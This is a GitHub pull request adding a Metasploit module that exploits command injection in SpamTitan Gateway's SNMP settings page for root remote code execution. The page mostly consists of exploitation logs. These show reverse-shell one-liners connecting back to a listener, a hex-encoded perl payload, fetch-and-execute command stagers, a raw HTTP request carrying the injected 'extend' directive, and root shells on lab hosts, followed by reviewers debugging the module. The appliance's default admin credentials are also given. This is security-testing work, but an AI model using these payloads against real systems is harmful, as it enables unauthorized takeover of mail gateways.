Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SpamTitan Gateway Remote Code Execution #14330

Merged
merged 9 commits into from
Jan 4, 2021

Conversation

cdelafuente-r7
Copy link
Contributor

TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against unwanted emails and malwares. This module exploits an improper input sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives into the SNMP configuration file and get remote code execution as root. Note that only version 7.03 needs authentication and no authentication is required for versions 7.01, 7.02 and 7.07.

First, it sends an HTTP POST request to the snmp-x.php page with an SNMPD command directives (extend + command) passed to the community parameter. This payload is then added to snmpd.conf by the application. Finally, the module triggers the execution of this command by querying the SNMP server for the correct OID.

This exploit module has been successfully tested against versions 7.01, 7.02, 7.03, and 7.07.

Installation

A demo version of the vulnerable application can be downloaded here. Since the latest version of SpamTitan Gateway has this vulnerability fixed and no demo of the vulnerable versions are available for download, the previous major release demo has to be used and updates have to be installed manually.

Installation steps:

  1. Download SpamTitan Gateway version 6 demo .ova image: https://stdownload.titanhq.com/vmware/SpamTitan-6-amd64.ova
  2. Import it to your favorite virtualization software and start it
  3. Access the SpamTitan web user interface from the appliance IP. This IP is usually displayed on the welcome page once the virtual machine has boot up.
  4. Login with the default credentials:
    • username: admin
    • password: hiadmin
  5. Go to System Setup > System Updates and click Start in the Check for Updates Now section. It will download all available update patches.
  6. From the Available Updates section, choose the version you want to test and click the install button in front of it.

Verification Steps

  1. Install the application (see Installation)
  2. Start msfconsole
  3. Do: use exploit/freebsd/webapp/spamtitan_unauth_rce
  4. Do: set RHOSTS <ip>
  5. Do: set LHOST <ip>
  6. Do: run
  7. You should get a shell.

Scenarios

SpamTitan Gateway v7.01 - target 0 (in-memory command)
msf6 > use exploit/freebsd/webapp/spamtitan_unauth_rce
[*] Using configured payload cmd/unix/reverse
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set LHOST 172.16.60.1
LHOST => 172.16.60.1
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set RHOSTS 172.16.60.101
RHOSTS => 172.16.60.101
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set verbose true
verbose => true
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BTMlXXtt         no        The SNMP Community String to use (random string by default)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     172.16.60.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.60.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix In-Memory


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > check

[*] Check if /snmp-x.php exists
[*] 172.16.60.101:80 - The target appears to be vulnerable.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 4511|telnet 172.16.60.1 4444|while : ; do sh && break; done 2>&1|telnet 172.16.60.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'perl -e system -e pack -e qq,H244,,qq,7368202d63202728736c65657020333735347c74656c6e6574203137322e31362e36302e3120343434347c7768696c65203a203b20646f20736820262620627265616b3b20646f6e6520323e26317c74656c6e6574203137322e31362e36302e312034343434203e2f6465762f6e756c6c20323e263120262927,'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ldqlDor8slARqZ0Q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Connected: not found\r\nEscape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.60.1:4444 -> 172.16.60.101:38973) at 2020-10-28 15:56:55 +0100

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May  6 10:36:09 IST 2015     root@stbuild-10-amd64.spamtitan.com:/usr/obj/usr/src/sys/SPAMTITAN  amd64
ifconfig
em0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
	options=9b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>
	ether 00:0c:29:cb:1d:73
	inet 172.16.60.101 netmask 0xffffff00 broadcast 172.16.60.255
	nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
	media: Ethernet autoselect (1000baseT <full-duplex>)
	status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
	options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
	inet6 ::1 prefixlen 128
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
	inet 127.0.0.1 netmask 0xff000000
	inet 127.0.0.2 netmask 0xffffffff
	inet 127.0.0.3 netmask 0xffffffff
	nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>
^C
Abort session 1? [y/N]  y

[*] 172.16.60.101 - Command shell session 1 closed.  Reason: User exit
SpamTitan Gateway v7.01 - target 1 (FreeBSD Dropper - x64)
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 1
target => 1
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BTMlXXtt         no        The SNMP Community String to use (random string by default)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     172.16.60.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST  172.16.60.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   FreeBSD Dropper (x64)


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[*] Started reverse TCP handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/AW6l3kjAO2B
[*] Local IP: http://192.168.1.75:8080/AW6l3kjAO2B
[*] Generated command stager: ["fetch -qo /tmp/BrnPtJiQ http://172.16.60.1:8080/AW6l3kjAO2B", "chmod +x /tmp/BrnPtJiQ", "/tmp/BrnPtJiQ", "rm -f /tmp/BrnPtJiQ"]
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'fetch\ -qo\ /tmp/BrnPtJiQ\ http://172.16.60.1:8080/AW6l3kjAO2B&'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Client 172.16.60.101 (fetch libfetch/2.0) requested /AW6l3kjAO2B
[*] Sending payload to 172.16.60.101 (fetch libfetch/2.0)
[+] SNMP Get-Request response (status=noError): [1] 16531
[*] Command Stager progress -  52.21% done (59/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'chmod\ \+x\ /tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16561
[*] Command Stager progress -  71.68% done (81/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c '/tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16590
[*] Command shell session 2 opened (172.16.60.1:4444 -> 172.16.60.101:16026) at 2020-10-28 15:57:34 +0100
[*] Command Stager progress -  83.19% done (94/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'rm\ -f\ /tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16619
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May  6 10:36:09 IST 2015     root@stbuild-10-amd64.spamtitan.com:/usr/obj/usr/src/sys/SPAMTITAN  amd64
^C
Abort session 2? [y/N]  y

[*] 172.16.60.101 - Command shell session 2 closed.  Reason: User exit
SpamTitan Gateway v7.01 - target 2 (FreeBSD Dropper - x86)
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 2
target => 2
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BTMlXXtt         no        The SNMP Community String to use (random string by default)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     172.16.60.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (bsd/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.60.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   FreeBSD Dropper (x86)

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[*] Started reverse TCP handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/EtQflZ
[*] Local IP: http://192.168.1.75:8080/EtQflZ
[*] Generated command stager: ["fetch -qo /tmp/uTJGnSFj http://172.16.60.1:8080/EtQflZ", "chmod +x /tmp/uTJGnSFj", "/tmp/uTJGnSFj", "rm -f /tmp/uTJGnSFj"]
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'fetch\ -qo\ /tmp/uTJGnSFj\ http://172.16.60.1:8080/EtQflZ&'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Client 172.16.60.101 (fetch libfetch/2.0) requested /EtQflZ
[*] Sending payload to 172.16.60.101 (fetch libfetch/2.0)
[+] SNMP Get-Request response (status=noError): [1] 16656
[*] Command Stager progress -  50.00% done (54/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'chmod\ \+x\ /tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16685
[*] Command Stager progress -  70.37% done (76/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c '/tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16714
[*] Command shell session 3 opened (172.16.60.1:4444 -> 172.16.60.101:45568) at 2020-10-28 15:58:09 +0100
[*] Command Stager progress -  82.41% done (89/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'rm\ -f\ /tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16743
[*] Command Stager progress - 100.00% done (108/108 bytes)
[*] Server stopped.

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May  6 10:36:09 IST 2015     root@stbuild-10-amd64.spamtitan.com:/usr/obj/usr/src/sys/SPAMTITAN  amd64
^C
Abort session 3? [y/N]  y

[*] 172.16.60.101 - Command shell session 3 closed.  Reason: User exit

@bwatters-r7
Copy link
Contributor

I was not able to get this to work on my setup. It looks like the final trigger might not be successful?

Target:

image

Verbose output
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 4336|telnet 192.168.135.197 4444|while : ; do sh && break; done 2>&1|telnet 192.168.135.197 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Exploit completed, but no session was created.
HTTPTrace output
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 3767|telnet 192.168.135.197 4444|while : ; do sh && break; done 2>&1|telnet 192.168.135.197 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
####################
# Request:
####################
GET /snmp-x.php HTTP/1.1
Host: 192.168.135.222
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Tue, 03 Nov 2020 18:32:52 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=fe38f564dd8c30e5795f011b2de3f1dd; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4
Content-Type: text/html

null
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload
####################
# Request:
####################
GET /snmp.php HTTP/1.1
Host: 192.168.135.222
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)


####################
# Response:
####################
HTTP/1.1 302 Found
Date: Tue, 03 Nov 2020 18:32:52 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=fca1ac00499859139b4fefd808f99f6d; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: login.php
Content-Length: 0
Content-Type: text/html


####################
# Request:
####################
POST /snmp-x.php HTTP/1.1
Host: 192.168.135.222
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 474

jaction=saveAll&contact=CONTACT&name=SpamTitan&location=LOCATION&community=KClvBPJm%22%20192.168.135.197%0aextend%20vubqXQaH%20/bin/tcsh%20-c%20%27perl%20-e%20system%20-e%20pack%20-e%20qq%2cH260%2c%2cqq%2c7368202d63202728736c65657020343435367c74656c6e6574203139322e3136382e3133352e31393720343434347c7768696c65203a203b20646f20736820262620627265616b3b20646f6e6520323e26317c74656c6e6574203139322e3136382e3133352e3139372034343434203e2f6465762f6e756c6c20323e263120262927%2c%27%23
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Tue, 03 Nov 2020 18:32:53 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=269ce06d19814afed9a4c55134fa761f; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 60
Content-Type: text/html

{"success":true,"status":"Succesfully saved SNMP settings."}
[*] Send an SNMP Get-Request to trigger the payload
[*] Exploit completed, but no session was created.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > 
Wireshark output

image

@cdelafuente-r7
Copy link
Contributor Author

Interesting, the HTTP part went well ({"success":true,"status":"Succesfully saved SNMP settings."}), but it looked like the SNMP server did not trigger the payload. Please, can you capture the SNMP traffic too? I'm interested in what's included in the SNMP Get-Request response body.

I just retested it against 7.01 and it worked for me. I noticed that, sometimes, it has to be run a few times to get a session.

Also, can you try with another target (FreeBSD Dropper) please?

Another debug test would be to boot the VM into Single-User mode and check if the payload had been correctly added to /usr/local/etc/snmp/snmpd.conf.

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Nov 4, 2020

I'm by no means an SNMP expert, but I will say that wireshark presents no packets when I use the "snmp" filter.
It does have some UDP packets related to the ICMP error responses, though. They are on UDP Port 80, which is not exactly snmp-ish, but I notice that's the default UDP port for the exploit. Regardless, here's the first UDP packet:
image

Edit: I notice that the SNMP community string when I threw this was KClvBPJm, and that's in the data, so I'm going to assume that's the SNMP packet.

@bwatters-r7
Copy link
Contributor

Other target settings:

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP  192.168.135.197  no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  KClvBPJm         no        The SNMP Community String to use (random string by default)
   PASSWORD   hiadmin          no        Password to authenticate, if required (depending on SpamTitan Gateway version)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     192.168.135.222  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            no        Username to authenticate, if required (depending on SpamTitan Gateway version)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST  192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   FreeBSD Dropper (x64)


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/aW5stbn
[*] Local IP: http://192.168.135.197:8080/aW5stbn
[*] Generated command stager: ["fetch -qo /tmp/uLxOfpAt http://192.168.135.197:8080/aW5stbn", "chmod +x /tmp/uLxOfpAt", "/tmp/uLxOfpAt", "rm -f /tmp/uLxOfpAt"]
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress -  52.21% done (59/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress -  71.68% done (81/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress -  83.19% done (94/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 2
target => 2
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/UxI3BL
[*] Local IP: http://192.168.135.197:8080/UxI3BL
[*] Generated command stager: ["fetch -qo /tmp/bFTTKidR http://192.168.135.197:8080/UxI3BL", "chmod +x /tmp/bFTTKidR", "/tmp/bFTTKidR", "rm -f /tmp/bFTTKidR"]
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress -  51.79% done (58/112 bytes)
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress -  71.43% done (80/112 bytes)
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress -  83.04% done (93/112 bytes)
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.

@cdelafuente-r7
Copy link
Contributor Author

It is definitely the SNMP Get-Request packet and for some reason, it sends it to 80/UDP instead of 161/UDP. The code specifically set RPORT to 161 here:

connect_snmp(true, 'RPORT' => 161)

I have absolutely no idea why it behaves like that for you and I was not able to reproduce it. This will need to be debugged and step into #connect_snmp to see what's going on.

#connect_snmp calls #connect_udp and should use the value of the RPORT option:

  def connect_udp(global = true, opts={})
    nsock = Rex::Socket::Udp.create(
      'PeerHost'  =>  opts['RHOST'] || rhost,
      'PeerPort'  => (opts['RPORT'] || rport).to_i,
      'LocalHost' =>  opts['CHOST'] || chost || "0.0.0.0",
      'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

@bwatters-r7
Copy link
Contributor

For what it is worth, it works fine for me if I change the hash in the connect_snmp call from rport to peerport:

    connect_snmp(true, 'PeerPort' => 161)

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is tipically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  kcavAcwX         no        The SNMP Community String to use (random string by default)
   PASSWORD   hiadmin          no        Password to authenticate, if required (depending on SpamTitan Gateway version)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     192.168.135.222  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            no        Username to authenticate, if required (depending on SpamTitan Gateway version)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix In-Memory


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > check

[*] Check if /snmp-x.php exists
[*] 192.168.135.222:80 - The target appears to be vulnerable.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 3749|telnet 192.168.135.197 4444|while : ; do sh && break; done 2>&1|telnet 192.168.135.197 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sJtTkkG4e9O8OyxG;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sJtTkkG4e9O8OyxG\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 3 opened (192.168.135.197:4444 -> 192.168.135.222:47495) at 2020-12-01 15:05:05 -0600

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)


@bwatters-r7
Copy link
Contributor

OK.... so I again have no idea what's going on...
With the code as-is, I placed in prints to give the hash and rport values:

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 3626|telnet 192.168.135.197 4444|while : ; do sh && break; done 2>&1|telnet 192.168.135.197 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
Opts before connect_udp = 
{"RPORT"=>161}
rport = 
80
Opts before connect_snmp = 
{"RPORT"=>161}
rport = 
80
[*] Exploit completed, but no session was created.

According to the code at udp_connect, this line should populate PeerPort with the hashed RPORT value and ignore the rport value:
'PeerPort' => (opts['RPORT'] || rport).to_i,
But... it does not?

When I change and add PeerPort into the hash for connect_snmp in the module like this:
connect_snmp(true, {'PeerPort' => 161, 'RPORT' => 161})

It works?

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 4155|telnet 192.168.135.197 4444|while : ; do sh && break; done 2>&1|telnet 192.168.135.197 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload
[*] Send an SNMP Get-Request to trigger the payload
Opts before connect_udp = 
{"PeerPort"=>161, "RPORT"=>161}
rport = 
80
Opts before connect_snmp = 
{"PeerPort"=>161, "RPORT"=>161}
rport = 
80
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo VN4ORA3T9JnuBW7q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "VN4ORA3T9JnuBW7q\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.135.197:4444 -> 192.168.135.222:57622) at 2020-12-11 13:17:51 -0600

ifconfig
em0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
	options=9b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>
	ether 00:0c:29:56:21:1f
